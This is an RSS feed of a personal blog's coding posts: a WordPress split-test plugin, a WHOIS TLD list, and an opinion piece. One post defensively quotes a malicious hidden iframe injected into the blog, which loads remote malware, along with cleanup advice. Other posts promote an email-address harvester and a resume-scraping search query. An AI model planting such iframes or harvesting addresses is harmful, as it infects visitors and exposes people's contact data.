<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Dellanave &#187; Code</title>
	<atom:link href="http://www.dellanave.com/blog/category/code/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dellanave.com/blog</link>
	<description></description>
	<lastBuildDate>Fri, 28 May 2010 23:24:27 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>To: Field Email Address Harvester</title>
		<link>http://www.dellanave.com/blog/2010/04/01/to-field-email-address-harvester/</link>
		<comments>http://www.dellanave.com/blog/2010/04/01/to-field-email-address-harvester/#comments</comments>
		<pubDate>Thu, 01 Apr 2010 22:40:14 +0000</pubDate>
		<dc:creator>david</dc:creator>
				<category><![CDATA[Awesome]]></category>
		<category><![CDATA[Code]]></category>

		<guid isPermaLink="false">http://www.dellanave.com/blog/?p=447</guid>
		<description><![CDATA[Have you ever had an email come in with ALL of the recipients in the To: or Cc: field and thought &#8220;This sure would be " ]]></description>
			<content:encoded><![CDATA[<p>Have you ever had an email come in with ALL of the recipients in the To: or Cc: field and thought &#8220;This sure would be a handy list to mail asomething to.&#8221;?  Well, I have.  Of course I would never email those people since they didn&#8217;t double opt-in.  Here is a very simple tool to parse that huge block of addresses into a usable CSV.  I&#8217;m open to submissions of code or formats if it doesn&#8217;t work for your format of email client.</p>
<p>The format it was designed to work on is:</p>
<p>FirstName LastName <email@address.com></p>
<p><a href="http://www.dellanave.com/development_pub/email_harvest.php">Here is the tool</a></p>
<p>Have fun!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dellanave.com/blog/2010/04/01/to-field-email-address-harvester/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>How to Split Test Your WordPress Theme (w/ Plugin)</title>
		<link>http://www.dellanave.com/blog/2009/07/15/how-to-split-test-your-wordpress-theme-w-plugin/</link>
		<comments>http://www.dellanave.com/blog/2009/07/15/how-to-split-test-your-wordpress-theme-w-plugin/#comments</comments>
		<pubDate>Wed, 15 Jul 2009 21:12:35 +0000</pubDate>
		<dc:creator>david</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Code]]></category>
		<category><![CDATA[Haxor]]></category>
		<category><![CDATA[SEM]]></category>
		<category><![CDATA[SEO]]></category>

		<guid isPermaLink="false">http://www.dellanave.com/blog/?p=271</guid>
		<description><![CDATA[Here is a rudimentary solution that allows you to split test all metrics on your WordPress blog.  If there is legitimate usage of this, I " ]]></description>
			<content:encoded><![CDATA[<p>Here is a rudimentary solution that allows you to split test all metrics on your WordPress blog.  If there is legitimate usage of this, I will make changes and improvements but at this point I am just throwing together a 15 minute SOLUTION not a complete idiot-proof package.  Please, give me feedback, I appreciate it.  This was created in response to <a href="http://www.cindyalvarez.com/data-driven/how-to-ab-test-your-wordpress-blog">this</a>, so you can go there to read about why Google Website Optimizer is not the right solution for testing metrics across an entire site.</p>
<p><a title="Split Test WordPress Plugin" href="http://www.dellanave.com/blog/ddn_wp_splittest-0.2.zip ">Download plugin.</a></p>
<p>First thing you need to do is create 2 theme folders.</p>
<p>theme1 is your original theme</p>
<p>theme2 contains the same theme, but with the changes you want to test</p>
<p>Set up 2 Google Analytics accounts.  This seems easiest to do with 2 different email addresses, and 2 browsers so that you can load both at the same time, and it doesn&#8217;t complain about the URL being the same.</p>
<ol>
<li>Open theme1/footer.php and insert the GA code from one account into the footer before the &lt;/body&gt; tag.</li>
<li>Open theme2/footer.php and insert the GA code from one account into the footer before the &lt;/body&gt; tag.</li>
</ol>
<p>That&#8217;s about it.  The plugin will drop a cookie on the user telling them which theme file to load.  If you want to completely change the themes, you can edit the plugin and change the cookie name to something new.  The cookie lasts for 30 days by default.</p>
<p><strong>PS. </strong>I&#8217;m gonna admit right now that I almost always make mistakes the first time around.  If this doesn&#8217;t work for you &#8211; let me know.  If this doesn&#8217;t work for you and you figure out why &#8211; PLEASE hit me up and let me know so I can update this post.</p>
<p><strong>P.P.S</strong> This could be pretty easily made so much better, easier to install, easier to use, and more flexible.  We&#8217;ll see if the demand warrants it.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dellanave.com/blog/2009/07/15/how-to-split-test-your-wordpress-theme-w-plugin/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Amazon SimpleDB Invite</title>
		<link>http://www.dellanave.com/blog/2008/08/20/amazon-simpledb-invite/</link>
		<comments>http://www.dellanave.com/blog/2008/08/20/amazon-simpledb-invite/#comments</comments>
		<pubDate>Wed, 20 Aug 2008 17:27:41 +0000</pubDate>
		<dc:creator>david</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Lazyweb]]></category>
		<category><![CDATA[Tech]]></category>

		<guid isPermaLink="false">http://www.dellanave.com/blog/?p=162</guid>
		<description><![CDATA[Can anyone get me an invite/approval to Amazon SimpleDB?]]></description>
			<content:encoded><![CDATA[<p>Can anyone get me an invite/approval to Amazon SimpleDB?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dellanave.com/blog/2008/08/20/amazon-simpledb-invite/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Semi-Comprehensive TLD Whois Response List</title>
		<link>http://www.dellanave.com/blog/2008/07/23/semi-comprehensive-tld-whois-response-list/</link>
		<comments>http://www.dellanave.com/blog/2008/07/23/semi-comprehensive-tld-whois-response-list/#comments</comments>
		<pubDate>Wed, 23 Jul 2008 17:50:58 +0000</pubDate>
		<dc:creator>david</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[SEM]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[Tech]]></category>

		<guid isPermaLink="false">http://www.dellanave.com/blog/?p=158</guid>
		<description><![CDATA[For one of the coolest features of our Tools project I needed to be able to accurately determine domain availability. Here&#8217;s what I came up " ]]></description>
			<content:encoded><![CDATA[<p>For one of the coolest features of our <a href="http://tools.shoemoney.com/">Tools</a> project I needed to be able to accurately determine domain availability.  Here&#8217;s what I came up with:</p>
<p>$domain_ext = array(<br />
        &#8216;.com&#8217;          => array(&#8216;whois.crsnic.net&#8217;,'No match for&#8217;),<br />
        &#8216;.net&#8217;          => array(&#8216;whois.crsnic.net&#8217;,'No match for&#8217;),<br />
        &#8216;.biz&#8217;          => array(&#8216;whois.biz&#8217;,'Not found&#8217;),<br />
        &#8216;.mobi&#8217;         => array(&#8216;whois.dotmobiregistry.net&#8217;, &#8216;NOT FOUND&#8217;),<br />
        &#8216;.tv&#8217;           => array(&#8216;whois.nic.tv&#8217;, &#8216;No match for&#8217;),<br />
        &#8216;.in&#8217;           => array(&#8216;whois.inregistry.net&#8217;, &#8216;NOT FOUND&#8217;),<br />
        &#8216;.info&#8217;         => array(&#8216;whois.afilias.net&#8217;,'NOT FOUND&#8217;),<br />
        &#8216;.co.uk&#8217;        => array(&#8216;whois.nic.uk&#8217;,'No match&#8217;),<br />
        &#8216;.co.ug&#8217;        => array(&#8216;wawa.eahd.or.ug&#8217;,'No entries found&#8217;),<br />
        &#8216;.or.ug&#8217;        => array(&#8216;wawa.eahd.or.ug&#8217;,'No entries found&#8217;),<br />
        &#8216;.nl&#8217;           => array(&#8216;whois.domain-registry.nl&#8217;,'is free&#8217;),<br />
        &#8216;.ro&#8217;           => array(&#8216;whois.rotld.ro&#8217;,'No entries found for the selected&#8217;),<br />
        &#8216;.com.au&#8217;       => array(&#8216;whois.ausregistry.net.au&#8217;,'No Data Found&#8217;),<br />
        &#8216;.ca&#8217;           => array(&#8216;whois.cira.ca&#8217;, &#8216;AVAIL&#8217;),<br />
        &#8216;.org.uk&#8217;       => array(&#8216;whois.nic.uk&#8217;,'No match&#8217;),<br />
        &#8216;.name&#8217;         => array(&#8216;whois.nic.name&#8217;,'No match&#8217;),<br />
        &#8216;.us&#8217;           => array(&#8216;whois.nic.us&#8217;,'Not found&#8217;),<br />
        &#8216;.ac.ug&#8217;        => array(&#8216;wawa.eahd.or.ug&#8217;,'No entries found&#8217;),<br />
        &#8216;.ne.ug&#8217;        => array(&#8216;wawa.eahd.or.ug&#8217;,'No entries found&#8217;),<br />
        &#8216;.sc.ug&#8217;        => array(&#8216;wawa.eahd.or.ug&#8217;,'No entries found&#8217;),<br />
        &#8216;.ws&#8217;           => array(&#8216;whois.website.ws&#8217;,'No Match&#8217;),<br />
        &#8216;.be&#8217;           => array(&#8216;whois.ripe.net&#8217;,'FREE&#8217;),<br />
        &#8216;.com.cn&#8217;       => array(&#8216;whois.cnnic.cn&#8217;,'no matching record&#8217;),<br />
        &#8216;.net.cn&#8217;       => array(&#8216;whois.cnnic.cn&#8217;,'no matching record&#8217;),<br />
        &#8216;.org.cn&#8217;       => array(&#8216;whois.cnnic.cn&#8217;,'no matching record&#8217;),<br />
        &#8216;.no&#8217;           => array(&#8216;whois.norid.no&#8217;,'no matches&#8217;),<br />
        &#8216;.se&#8217;           => array(&#8216;whois.nic-se.se&#8217;,'not found&#8217;),<br />
        &#8216;.nu&#8217;           => array(&#8216;whois.nic.nu&#8217;,'NO MATCH for&#8217;),<br />
        &#8216;.com.tw&#8217;       => array(&#8216;whois.twnic.net&#8217;,'No Found&#8217;),<br />
        &#8216;.net.tw&#8217;       => array(&#8216;whois.twnic.net&#8217;,'No Found&#8217;),<br />
        &#8216;.org.tw&#8217;       => array(&#8216;whois.twnic.net&#8217;,'No Found&#8217;),<br />
        &#8216;.cc&#8217;           => array(&#8216;whois.nic.cc&#8217;,'No match&#8217;),<br />
        &#8216;.nl&#8217;           => array(&#8216;whois.domain-registry.nl&#8217;,'is free&#8217;),<br />
        &#8216;.pl&#8217;           => array(&#8216;whois.dns.pl&#8217;,'No information about&#8217;),<br />
        &#8216;.pt&#8217;           => array(&#8216;whois.dns.pt&#8217;,'no match&#8217;),<br />
        &#8216;.org&#8217;          => array(&#8216;whois.pir.org&#8217;,'NOT FOUND&#8217;)<br />
);</p>
<p>If I had time, I&#8217;d add a 3rd field which would be the response when the domain IS available.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dellanave.com/blog/2008/07/23/semi-comprehensive-tld-whois-response-list/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Solution for onLoad + PNG fix defer problem in IE</title>
		<link>http://www.dellanave.com/blog/2008/05/20/solution-for-onload-png-fix-defer-problem-in-ie/</link>
		<comments>http://www.dellanave.com/blog/2008/05/20/solution-for-onload-png-fix-defer-problem-in-ie/#comments</comments>
		<pubDate>Tue, 20 May 2008 07:41:05 +0000</pubDate>
		<dc:creator>david</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Haxor]]></category>

		<guid isPermaLink="false">http://www.dellanave.com/blog/?p=147</guid>
		<description><![CDATA[I had the strangest problem today with a page not triggering an OnLoad because something was hanging the load in IE. Of all things, it " ]]></description>
			<content:encoded><![CDATA[<p>I had the strangest problem today with a page not triggering an OnLoad because something was hanging the load in IE.  Of all things, it was the hack to make PNG transparency work in IE.</p>
<p>Once I figured out the problem it was easy to fix.  Even more convenient, I found this <a href="http://maxtoroq.wordpress.com/2007/03/23/problems-with-pngfixjs-when-using-swfobjectjs/">modified version of the pngfix</a> that solved the onload hanging problem.</p>
<p>h8 IE.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dellanave.com/blog/2008/05/20/solution-for-onload-png-fix-defer-problem-in-ie/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nice Exploit Code I Found in my WordPress</title>
		<link>http://www.dellanave.com/blog/2008/03/10/nice-exploit-code-i-found-in-my-wordpress/</link>
		<comments>http://www.dellanave.com/blog/2008/03/10/nice-exploit-code-i-found-in-my-wordpress/#comments</comments>
		<pubDate>Mon, 10 Mar 2008 17:51:53 +0000</pubDate>
		<dc:creator>david</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Code]]></category>
		<category><![CDATA[SEM]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[Tech]]></category>

		<guid isPermaLink="false">http://www.dellanave.com/blog/2008/03/10/nice-exploit-code-i-found-in-my-wordpress/</guid>
		<description><![CDATA[I was going through some old posts just now, and discovered this little treat embedded in a post: &#60;!-- Traffic Statistics --&#62; &#60;iframe src=http://www.wp-stats-php.info/iframe/wp-stats.php width=1 " ]]></description>
			<content:encoded><![CDATA[<p>I was going through some old posts just now, and discovered this little treat embedded in a post:</p>
<blockquote><p><code></p>
<pre>
&lt;!-- Traffic Statistics --&gt;
&lt;iframe src=http://www.wp-stats-php.info/iframe/wp-stats.php width=1 height=1 frameborder=0&gt;&lt;/iframe&gt;
&lt;!-- End Traffic Statistics --&gt;
</pre>
<p></code></p></blockquote>
<p>The code that it&#8217;s loading (I know it doesn&#8217;t wrap, I don&#8217;t really care.)  Code deleted.  Thanks to <a href="http://www.softwareprojects.com/resources">Mike Peters</a> for the follow-up in the comments:</p>
<blockquote><p>
This code got sql injected into your wp_posts.</p>
<p>Make sure you upgrade to the 2.3.2 version of WordPress:</p>
<p>http://wordpress.org/support/topic/151888</p>
<p>What it does is attempt to install a VBS malware on your machine using an xmlrpc exploit in older versions of WordPress.</p>
<p>Look for something like this in your server logs -</p>
<p>200.216.67.181 &#8211; - [28/Jan/2008:13:10:54 -0500] “POST /xmlrpc.php HTTP/1.0″</p>
<p>Once you view the post, you’re infected &#8211; the VBS code will be installed and you’re going to need to run NOD32 or AVG to clean it up</p>
</blockquote>
<p>Someone with more patience than myself will probably take the time to disassemble that.</p>
<p>To find the post titles in your blog that might be affected, in SQL do:</p>
<blockquote><p><code><br />
mysql> select post_title from wp_posts where post_content like '%Statistics%';<br />
</code></p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.dellanave.com/blog/2008/03/10/nice-exploit-code-i-found-in-my-wordpress/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Props Week: Monday &#8211; Joost de Valk</title>
		<link>http://www.dellanave.com/blog/2008/01/07/props-week-monday-joost-de-valk/</link>
		<comments>http://www.dellanave.com/blog/2008/01/07/props-week-monday-joost-de-valk/#comments</comments>
		<pubDate>Mon, 07 Jan 2008 18:18:01 +0000</pubDate>
		<dc:creator>david</dc:creator>
				<category><![CDATA[Awesome]]></category>
		<category><![CDATA[Code]]></category>
		<category><![CDATA[SEM]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[Tech]]></category>

		<guid isPermaLink="false">http://www.dellanave.com/blog/2008/01/07/props-week-monday-joost-de-valk/</guid>
		<description><![CDATA[One guy who doesn&#8217;t get enough credit is Joost de Valk. He has written a bunch of cool tools, and a load of useful WordPress " ]]></description>
			<content:encoded><![CDATA[<p>One guy who doesn&#8217;t get enough credit is <a href="http://www.joostdevalk.nl">Joost de Valk</a>.  He has written a bunch of cool tools, and a load of useful WordPress plugins.  The one that takes the cake though is his <a href="http://www.joostdevalk.nl/wordpress/rss-footer/">RSS Footer insertion</a> plugin.  Let the scrapers steal your RSS content, you&#8217;re just going to get a nice influx of backlinks with Joost&#8217;s plugin.  If you ever need a <a href="http://www.altha.co.uk/wordpress/plugins/">custom wordpress plugin</a>, I&#8217;d say fire an email at Joost.  As long as you&#8217;re here too, go <a href="http://www.joostdevalk.nl/i-need-your-votes/">vote for him</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dellanave.com/blog/2008/01/07/props-week-monday-joost-de-valk/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>A Computer Science Degree Does Hurt (A Lot)</title>
		<link>http://www.dellanave.com/blog/2007/05/31/a-computer-science-degree-does-hurt-a-lot/</link>
		<comments>http://www.dellanave.com/blog/2007/05/31/a-computer-science-degree-does-hurt-a-lot/#comments</comments>
		<pubDate>Thu, 31 May 2007 16:24:47 +0000</pubDate>
		<dc:creator>david</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Opinion]]></category>
		<category><![CDATA[Tech]]></category>

		<guid isPermaLink="false">http://www.dellanave.com/blog/2007/05/31/a-computer-science-degree-does-hurt-a-lot/</guid>
		<description><![CDATA[The other day I was skimming through my feed reader and I came across a post by Leah Culver called A Computer Science Degree Doesn&#8217;t " ]]></description>
			<content:encoded><![CDATA[<p>The other day I was skimming through my <a href="http://reader.google.com/">feed reader</a> and I came across a post by <a href="http://www.leahculver.com/">Leah Culver</a> called <a href="http://www.leahculver.com/2007/05/30/a-computer-science-degree-doesnt-hurt-much/">A Computer Science Degree Doesn&#8217;t Hurt (Much)</a>.  Having my own opinions about CS degrees (and degrees in general) this really caught my attention.  Not surprisingly, I can&#8217;t help but disagree.</p>
<p>Like Leah says, you spend years in classes you don&#8217;t need.  Writing an assembler in assembly for hardware that doesn&#8217;t exist is not a useful way to spend time.  Poring over parentheses to write an artificially-intelligent tic-tac-toe game in ((scheme)) is not either.  Learning some vague high-levelisms of operating systems isn&#8217;t going to help you when your web server is serving 1000 hits per second and you&#8217;re bumping up against the open file handle limit.</p>
<p>The skills you need to build real-world applications don&#8217;t come in school.  In fact I don&#8217;t even think a CS degree gives you the faculties to learn this stuff.  I can&#8217;t tell you how many people I&#8217;ve met with a CS or CE degree that couldn&#8217;t do ANYTHING practical.  I&#8217;ve interviewed them, I know this.  Yes Leah, coding problems are hard.  They can be fun.  They&#8217;re not real though.  Give your average CS major a programming problem and they&#8217;ll hammer out a solution in some obscure language.  Ask them to architect the design of a high-traffic ad server with a db backend and they will run for the hills.</p>
<p>So why does the degree hurt so much?  Because all that time you&#8217;ve spent in school is lost time.  You&#8217;ll never get ahead of it.  While the CS major was banging their head against some contrived optimization problem, the self-starter was re-writing a high traffic web application from scratch.  While the CJ major was wasting their time in a college physics class, the hacker was learning how MySQL indexes affect in a real production database.  While the CJ major is still trying to un-learn Scheme and Fortran and Java, the motivated hacker is hammering out a solution in Perl because its the best tool for the job and he&#8217;s been using it to build tools for all the years you spent in college.</p>
<p>Try it, get out in the real world.  I absolutely PROMISE you that plenty of interesting problems will get thrown your way.  They&#8217;ll come way out of left field and they will be a lot more fun to solve than something you&#8217;re going to get graded on.  The <a href="http://www.google.com/">tools</a> you need to solve them are available to anyone.  Especially if you don&#8217;t limit yourself to being a &#8220;programmer&#8221; who doesn&#8217;t know anything about the system underneath.  Like I said, when you start banging against the open file handle limit or kernel memory limit, you&#8217;ll know you&#8217;ve arrived.</p>
<p>Our higher education system is flawed, most critically when it comes to fast-moving targets like Computer Science.  While I doubt it will be our generation to stand up and make a change, I hope it happens soon.  In the mean time, go do your thing.  If you want to drop out and actually pursue something, don&#8217;t let anyone stop you.</p>
<p>P.S. It might be unfair to point out that Leah&#8217;s blog is toast from being dugg, but what the heck.  Mine wouldn&#8217;t go down&#8230;. Got Experience?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dellanave.com/blog/2007/05/31/a-computer-science-degree-does-hurt-a-lot/feed/</wfw:commentRss>
		<slash:comments>64</slash:comments>
		</item>
		<item>
		<title>Hey Job Sites, Quit Scraping Resumes</title>
		<link>http://www.dellanave.com/blog/2007/05/29/hey-job-sites-quit-scraping-resumes/</link>
		<comments>http://www.dellanave.com/blog/2007/05/29/hey-job-sites-quit-scraping-resumes/#comments</comments>
		<pubDate>Tue, 29 May 2007 21:01:44 +0000</pubDate>
		<dc:creator>david</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Opinion]]></category>
		<category><![CDATA[Tech]]></category>

		<guid isPermaLink="false">http://www.dellanave.com/blog/2007/05/29/hey-job-sites-quit-scraping-resumes/</guid>
		<description><![CDATA[I got an email from a recruiter with a GREAT OPPORTUNITY today. Since I usually get amused by how poorly they&#8217;ve done their homework, I " ]]></description>
			<content:encoded><![CDATA[<p>I got an email from a recruiter with a GREAT OPPORTUNITY today.  Since I usually get amused by how poorly they&#8217;ve done their homework, I gave her my number and she gave me a call.  After trying to qualify how much experience with PHP I had, I just said &#8220;Look, you&#8217;re going to have to be pretty convincing to get me to stop what I&#8217;m doing right now.&#8221;  So she says, &#8220;So why did you post your resume on Monster.com, just to see whats out there?&#8221;.  Hold the phone, I&#8217;ve never even visited monster.com.</p>
<p>I think its pretty obvious that Monster and other job sites are scraping resumes.  In fact, its a perfect crime because since they charge to see resumes you can&#8217;t even verify if you&#8217;re on there or not.  If I was looking for a job, I&#8217;d post my resume.  By scraping resumes you waste my time and the recruiter&#8217;s time.</p>
<p>Check this out:</p>
<p><code>80.132.236.240 - - [01/Sep/2006:18:09:18 -0500] "GET /robots.txt HTTP/1.1" 404 208 "-" "JobSpider_BA/1.1"</code></p>
<p>However, its asinine to actually do your own crawling for resumes.  Google has done the hard work for you, just scrape Google.</p>
<p>Check out this badass job query, it&#8217;s even location targeted via Google&#8217;s handy .. operator:<br />
<code><a href="http://www.google.com/search?q=.net+%7C+SE3+(developer+%7C+%22software+engineer%22+%7C+architect)+(intitle:resume+%7C+inurl:resume)+55000..56999+-~jobs+~minneapolis&#038;hl=en&#038;lr=&#038;start=30&#038;sa=N"><br />
.net+%7C+SE3+(developer+%7C+%22software+engineer%22+%7C+architect)<br />
+(intitle:resume+%7C+inurl:resume)+55000..56999+-~jobs+~minneapolis</a><br />
</code></p>
<p>To you recruiters (who will never read this because you don&#8217;t do your homework): seriously do your homework before you call someone.  You have my resume.  Type my name into Google.  Find out a little bit about me.  It should be instantly clear that there is only one David Dellanave.  All of my work history is right in front of your face.  Quite a bit about me personally is there too if you spend a little time.</p>
<p>Once you&#8217;ve done your homework, don&#8217;t call me unless you&#8217;re going to come hard.  Don&#8217;t ask me how much PHP and MySQL experience I have.  Don&#8217;t offer me a GREAT OPPORTUNITY at $35k and I&#8217;d have to move to the bay area.  If you&#8217;re going to dial my number, or email me&#8230;bring it.  Otherwise you&#8217;re just wasting my time, and I&#8217;m going to waste yours.  If you want to take me out to lunch, we can work something out.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dellanave.com/blog/2007/05/29/hey-job-sites-quit-scraping-resumes/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Holy Crap I Found an Awesome OS X Feature</title>
		<link>http://www.dellanave.com/blog/2007/04/26/holy-crap-i-found-an-awesome-os-x-feature/</link>
		<comments>http://www.dellanave.com/blog/2007/04/26/holy-crap-i-found-an-awesome-os-x-feature/#comments</comments>
		<pubDate>Fri, 27 Apr 2007 02:53:38 +0000</pubDate>
		<dc:creator>david</dc:creator>
				<category><![CDATA[Apple]]></category>
		<category><![CDATA[Code]]></category>
		<category><![CDATA[Tech]]></category>

		<guid isPermaLink="false">http://www.dellanave.com/blog/2007/04/26/holy-crap-i-found-an-awesome-os-x-feature/</guid>
		<description><![CDATA[I got to thinking today that it would be neat if I could place a background image in my Terminal windows. See, I spend 99.9% " ]]></description>
			<content:encoded><![CDATA[<p>I got to thinking today that it would be neat if I could place a background image in my Terminal windows.  See, I spend 99.9% of my time ssh&#8217;ed into other machines.  I do all my development remotely on other boxes.  It doesn&#8217;t really get confusing which box I&#8217;m on, but it can take a second to find a different machine, and a lot of times I end up popping a new Terminal and opening a new ssh.</p>
<p>Sure enough, Terminal.app has a background image feature.  Thing is, I needed to find a way to automatically change the image based on what machine I ssh&#8217;ed into.  I started digging around, and holy shit did I find an awesome feature.  I had no clue that you can actually save entire Terminal sessions.</p>
<p>You go into Terminal->Window Settings.  Make whatever changes you want.  In my case I set the name and background image for a particular machine.  Close that.  File->Save.  Select &#8220;Execute this command&#8221; and enter the ssh command for the host.  Say &#8220;ssh -l david dellanave.com&#8221;.  Save the file.  Couple this with <a href="http://sial.org/howto/openssh/publickey-auth/">ssh public key authentication</a>, and I can launch a new Terminal session with a handy background image that automatically connects and logs into the box I want.  Hell yes.</p>
<p>And no, this isn&#8217;t my normal desktop, I setup one of my side monitors as an example.  Too much sensitive stuff on the main display.</p>
<p><a href="/blog/wp-content/desktopx.png"><img src="/blog/wp-content/desktop_thumb.png"></a></p>
<p><a href="http://www.sexworldminneapolis.com/">Sexworld Minneapolis</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dellanave.com/blog/2007/04/26/holy-crap-i-found-an-awesome-os-x-feature/feed/</wfw:commentRss>
		<slash:comments>28</slash:comments>
		</item>
	</channel>
</rss>
